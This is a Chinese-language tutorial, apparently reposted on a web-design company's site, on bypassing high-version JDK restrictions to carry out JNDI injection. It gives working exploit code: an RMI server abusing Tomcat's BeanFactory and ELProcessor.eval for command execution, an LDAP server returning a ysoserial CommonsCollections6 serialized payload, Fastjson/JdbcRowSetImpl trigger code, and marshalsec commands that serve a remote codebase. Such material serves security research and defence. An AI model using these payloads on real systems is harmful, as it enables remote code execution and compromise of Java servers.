這篇文章主要介紹“怎樣繞過(guò)高版本JDK的限制進(jìn)行JNDI注入”,在日常操作中,相信很多人在怎樣繞過(guò)高版本JDK的限制進(jìn)行JNDI注入問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”怎樣繞過(guò)高版本JDK的限制進(jìn)行JNDI注入”的疑惑有所幫助!接下來(lái),請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧!
我們提供的服務(wù)有:成都做網(wǎng)站、成都網(wǎng)站制作、微信公眾號(hào)開(kāi)發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、西秀ssl等。為近1000家企事業(yè)單位解決了網(wǎng)站和推廣的問(wèn)題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的西秀網(wǎng)站制作公司
Java JNDI注入有很多種不同的利用載荷,而這些Payload分別會(huì)面臨一些限制。筆者在實(shí)際測(cè)試過(guò)程中也遇到過(guò)很多有限制的情況,這里做個(gè)梳理并分享下如何繞過(guò)這些限制。
攻擊者實(shí)現(xiàn)一個(gè)RMI惡意遠(yuǎn)程對(duì)象并綁定到RMI Registry上,編譯后的RMI遠(yuǎn)程對(duì)象類可以放在HTTP/FTP/SMB等服務(wù)器上,這個(gè)Codebase地址由遠(yuǎn)程服務(wù)器的 java.rmi.server.codebase 屬性設(shè)置,供受害者的RMI客戶端遠(yuǎn)程加載,RMI客戶端在 lookup() 的過(guò)程中,會(huì)先嘗試在本地CLASSPATH中去獲取對(duì)應(yīng)的Stub類的定義,并從本地加載,然而如果在本地?zé)o法找到,RMI客戶端則會(huì)向遠(yuǎn)程Codebase去獲取攻擊者指定的惡意對(duì)象,這種方式將會(huì)受到 useCodebaseOnly 的限制。利用條件如下:
RMI客戶端的上下文環(huán)境允許訪問(wèn)遠(yuǎn)程Codebase。
屬性 java.rmi.server.useCodebaseOnly 的值必需為false。
然而從JDK 6u45、7u21開(kāi)始,java.rmi.server.useCodebaseOnly 的默認(rèn)值就是true。當(dāng)該值為true時(shí),將禁用自動(dòng)加載遠(yuǎn)程類文件,僅從CLASSPATH和當(dāng)前VM的java.rmi.server.codebase 指定路徑加載類文件。使用這個(gè)屬性來(lái)防止客戶端VM從其他Codebase地址上動(dòng)態(tài)加載類,增加了RMI ClassLoader的安全性。Changelog:
JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
攻擊者通過(guò)RMI服務(wù)返回一個(gè)JNDI Naming Reference,受害者解碼Reference時(shí)會(huì)去我們指定的Codebase遠(yuǎn)程地址加載Factory類,但是原理上并非使用RMI Class Loading機(jī)制的,因此不受 java.rmi.server.useCodebaseOnly 系統(tǒng)屬性的限制,相對(duì)來(lái)說(shuō)更加通用。但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服務(wù)中JNDI Reference遠(yuǎn)程加載Object Factory類的特性。系統(tǒng)屬性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認(rèn)值變?yōu)閒alse,即默認(rèn)不允許從遠(yuǎn)程的Codebase加載Reference工廠類。如果需要開(kāi)啟 RMI Registry 或者 COS Naming Service Provider的遠(yuǎn)程類加載功能,需要將前面說(shuō)的兩個(gè)屬性值設(shè)置為true。Changelog:
JDK 6u141 http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
JDK 7u131 http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
JDK 8u121 http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html
除了RMI服務(wù)之外,JNDI還可以對(duì)接LDAP服務(wù),LDAP也能返回JNDI Reference對(duì)象,利用過(guò)程與上面RMI Reference基本一致,只是lookup()中的URL為一個(gè)LDAP地址:ldap://xxx/xxx,由攻擊者控制的LDAP服務(wù)端返回一個(gè)惡意的JNDI Reference對(duì)象。并且LDAP服務(wù)的Reference遠(yuǎn)程加載Factory類不受上一點(diǎn)中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制,所以適用范圍更廣。不過(guò)在2018年10月,Java最終也修復(fù)了這個(gè)利用點(diǎn),對(duì)LDAP Reference遠(yuǎn)程工廠類的加載增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認(rèn)值被調(diào)整為false,還對(duì)應(yīng)的分配了一個(gè)漏洞編號(hào)CVE-2018-3149。
所以對(duì)于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK來(lái)說(shuō),默認(rèn)環(huán)境下之前這些利用方式都已經(jīng)失效。然而,我們依然可以進(jìn)行繞過(guò)并完成利用。兩種繞過(guò)方法如下:
找到一個(gè)受害者本地CLASSPATH中的類作為惡意的Reference Factory工廠類,并利用這個(gè)本地的Factory類執(zhí)行命令。
利用LDAP直接返回一個(gè)惡意的序列化對(duì)象,JNDI注入依然會(huì)對(duì)該對(duì)象進(jìn)行反序列化操作,利用反序列化Gadget完成命令執(zhí)行。
這兩種方式都非常依賴受害者本地CLASSPATH中環(huán)境,需要利用受害者本地的Gadget進(jìn)行攻擊。
在高版本中(如:JDK8u191以上版本)雖然不能從遠(yuǎn)程加載惡意的Factory,但是我們依然可以在返回的Reference中指定Factory Class,這個(gè)工廠類必須在受害目標(biāo)本地的CLASSPATH中。工廠類必須實(shí)現(xiàn) javax.naming.spi.ObjectFactory 接口,并且至少存在一個(gè) getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 剛好滿足條件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依賴包中,所以使用也是非常廣泛。org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中會(huì)通過(guò)反射的方式實(shí)例化Reference所指向的任意Bean Class,并且會(huì)調(diào)用setter方法為所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來(lái)自于Reference對(duì)象,均是攻擊者可控的。
Tips: 根據(jù)beanFactory的代碼邏輯,要求傳入的Reference為ResourceRef類
這個(gè)情況下,目標(biāo)Bean Class必須有一個(gè)無(wú)參構(gòu)造方法,有public的setter方法且參數(shù)為一個(gè)String類型。事實(shí)上,這些setter不一定需要是set..開(kāi)頭的方法,根據(jù)org.apache.naming.factory.BeanFactory中的邏輯,我們可以把某個(gè)方法強(qiáng)制指定為setter。這里,我們找到了javax.el.ELProcessor
可以作為目標(biāo)Class。啟動(dòng)RMI Server的利用代碼如下:
Registry registry = LocateRegistry.createRegistry(rmi_port); // 實(shí)例化Reference,指定目標(biāo)類為javax.el.ELProcessor,工廠類為org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); // 強(qiáng)制將 'x' 屬性的setter 從 'setX' 變?yōu)?nbsp;'eval', 詳細(xì)邏輯見(jiàn) BeanFactory.getObjectInstance 代碼 ref.add(new StringRefAddr("forceString", "KINGX=eval")); // 利用表達(dá)式執(zhí)行命令 ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder'(java.lang.String[])'.start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper);
“forceString”可以給屬性強(qiáng)制指定一個(gè)setter方法,這里我們將屬性”KINGX”的setter方法設(shè)置為 ELProcessor.eval() 方法。于是我們 ResourceRef 中加上元素”KINGX”,賦值為需要執(zhí)行的惡意代碼。最后調(diào)用setter就變成了執(zhí)行如下代碼:
ELProcessor.eval(\"\".getClass().forName("javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder'(java.lang.String[])'.start()\"))
ELProcessor.eval()會(huì)對(duì)EL表達(dá)式進(jìn)行求值,最終達(dá)到命令執(zhí)行的效果。這種繞過(guò)方式需要目標(biāo)環(huán)境中存在Tomcat相關(guān)依賴,當(dāng)然其他Java Server可能也存在可被利用的Factory類,可以進(jìn)一步研究。
目錄是一種分布式數(shù)據(jù)庫(kù),目錄服務(wù)是由目錄數(shù)據(jù)庫(kù)和一套訪問(wèn)協(xié)議組成的系統(tǒng)。LDAP全稱是輕量級(jí)目錄訪問(wèn)協(xié)議(The Lightweight Directory Access Protocol),它提供了一種查詢、瀏覽、搜索和修改互聯(lián)網(wǎng)目錄數(shù)據(jù)的機(jī)制,運(yùn)行在TCP/IP協(xié)議棧之上,基于C/S架構(gòu)。除了RMI服務(wù)之外,JNDI也可以與LDAP目錄服務(wù)進(jìn)行交互,Java對(duì)象在LDAP目錄中也有多種存儲(chǔ)形式:
Java序列化
JNDI Reference
Marshalled對(duì)象
Remote Location (已棄用)
LDAP可以為存儲(chǔ)的Java對(duì)象指定多種屬性:
javaCodeBase
objectClass
javaFactory
javaSerializedData
…
這里 javaCodebase 屬性可以指定遠(yuǎn)程的URL,這樣黑客可以控制反序列化中的class,通過(guò)JNDI Reference的方式進(jìn)行利用(這里不再贅述,示例代碼可以參考文末的Demo鏈接)。不過(guò)像前文所說(shuō)的,高版本JVM對(duì)Reference Factory遠(yuǎn)程加載類進(jìn)行了安全限制,JVM不會(huì)信任LDAP對(duì)象反序列化過(guò)程中加載的遠(yuǎn)程類。此時(shí),攻擊者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget達(dá)到繞過(guò)限制執(zhí)行命令的目的。簡(jiǎn)而言之,LDAP Server除了使用JNDI Reference進(jìn)行利用之外,還支持直接返回一個(gè)對(duì)象的序列化數(shù)據(jù)。如果Java對(duì)象的 javaSerializedData 屬性值不為空,則客戶端的 obj.decodeObject() 方法就會(huì)對(duì)這個(gè)字段的內(nèi)容進(jìn)行反序列化。其中具體的處理代碼如下:
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { ClassLoader cl = helper.getURLClassLoader(codebases); return deserializeObject((byte[])attr.get(), cl); }
我們假設(shè)目標(biāo)系統(tǒng)中存在著有漏洞的CommonsCollections庫(kù),使用ysoserial生成一個(gè)CommonsCollections的利用Payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
LDAP Server關(guān)鍵代碼如下,我們?cè)趈avaSerializedData字段內(nèi)填入剛剛生成的反序列化payload數(shù)據(jù):
... protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } / Payload1: Return Evil Reference Factory / // e.addAttribute("javaCodeBase", cbstring); // e.addAttribute("objectClass", "javaNamingReference"); // e.addAttribute("javaFactory", this.codebase.getRef()); / Payload2: Return Evil Serialized Gadget / try { // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64 e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLn.....")); } catch (ParseException e1) { e1.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } ...
模擬受害者進(jìn)行JNDI lookup操作,或者使用Fastjson等漏洞模擬觸發(fā),即可看到彈計(jì)算器的命令被執(zhí)行。
Hashtable env = new Hashtable();
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
這種繞過(guò)方式需要利用一個(gè)本地的反序列化利用鏈(如CommonsCollections),然后可以結(jié)合Fastjson等漏洞入口點(diǎn)和JdbcRowSetImpl進(jìn)行組合利用。
實(shí)戰(zhàn)中可以使用marshalsec方便的啟動(dòng)一個(gè)LDAP/RMI Ref Server:
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer # [] Example: java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://8.8.8.8:8090/#Exploit 8088
到此,關(guān)于“怎樣繞過(guò)高版本JDK的限制進(jìn)行JNDI注入”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請(qǐng)繼續(xù)關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)?lái)更多實(shí)用的文章!
名稱欄目:怎樣繞過(guò)高版本JDK的限制進(jìn)行JNDI注入
瀏覽路徑:http://www.rwnh.cn/article34/psgppe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站設(shè)計(jì)、建站公司、移動(dòng)網(wǎng)站建設(shè)、網(wǎng)站設(shè)計(jì)、App開(kāi)發(fā)、網(wǎng)站制作
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)